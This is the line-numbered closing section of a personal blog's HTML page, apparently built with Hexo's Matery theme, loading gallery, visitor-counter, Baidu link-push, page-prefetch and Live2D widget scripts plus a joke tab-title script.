1593<script src="https://cdn.jsdelivr.net/gh/Lmg66/Lmg66.github.io/libs/lightGallery/js/lightgallery-all.min.js"></script>
1593
1594    
1594<script src="https://cdn.jsdelivr.net/gh/Lmg66/Lmg66.github.io/js/matery.js"></script>
1594
1595
1596    <!-- Baidu Analytics -->
1597
1598    <!-- Baidu Push -->
1599
1600<script>
1601    (function () {
1602        var bp = document.createElement('script');
1603        var curProtocol = window.location.protocol.split(':')[0];
1604        if (curProtocol === 'https') {
1605            bp.src = 'https://zz.bdstatic.com/linksubmit/push.js';
1606        } else {
1607            bp.src = 'http://push.zhanzhang.baidu.com/push.js';
1608        }
1609        var s = document.getElementsByTagName("script")[0];
1610        s.parentNode.insertBefore(bp, s);
1611    })();
1612</script>
1612
1613
1614    
1615    
1616    
1616<script async src="https://cdn.jsdelivr.net/gh/Lmg66/Lmg66.github.io/libs/others/busuanzi.pure.mini.js"></script>
1616
1617    
1618
1619    
1620
1621    
1622
1623    
1624
1625    
1626
1627    
1628    
1629    
1630    
1630<script src="https://cdn.jsdelivr.net/gh/Lmg66/Lmg66.github.io/libs/instantpage/instantpage.js" type="module"></script>
1630
1631    
1632    
1632<script type="text/javascript">
1633    var OriginTitile=document.title,st;
1634    document.addEventListener("visibilitychange",function(){
1635        document.hidden?(document.title="ヽ(●-`Д´-)ノ404啦",clearTimeout(st)):(document.title="(Ő∀Ő3)ノ骗你的嘿嘿!",st=setTimeout(function(){document.title=OriginTitile},3e3))
1636    })
1637
1638</script>
vendor: 1 bytes, line 1638
1638
1639<script src="/live2dw/lib/L2Dwidget.min.js?094cbace49a39548bed64abff5988b05"></script>
1639<script>L2Dwidget.init({"log":false,"pluginJsPath":"lib/","pluginModelPath":"assets/","pluginRootPath":"live2dw/","tagMode":false});</script>
1639</body>
1640
1641</html>

Line numbers count LF bytes from the start of the resource, as the search results do. Vendor segments are library code the classifier recognised; they are stored but not indexed. Bytes are shown as Latin1 characters, one per byte.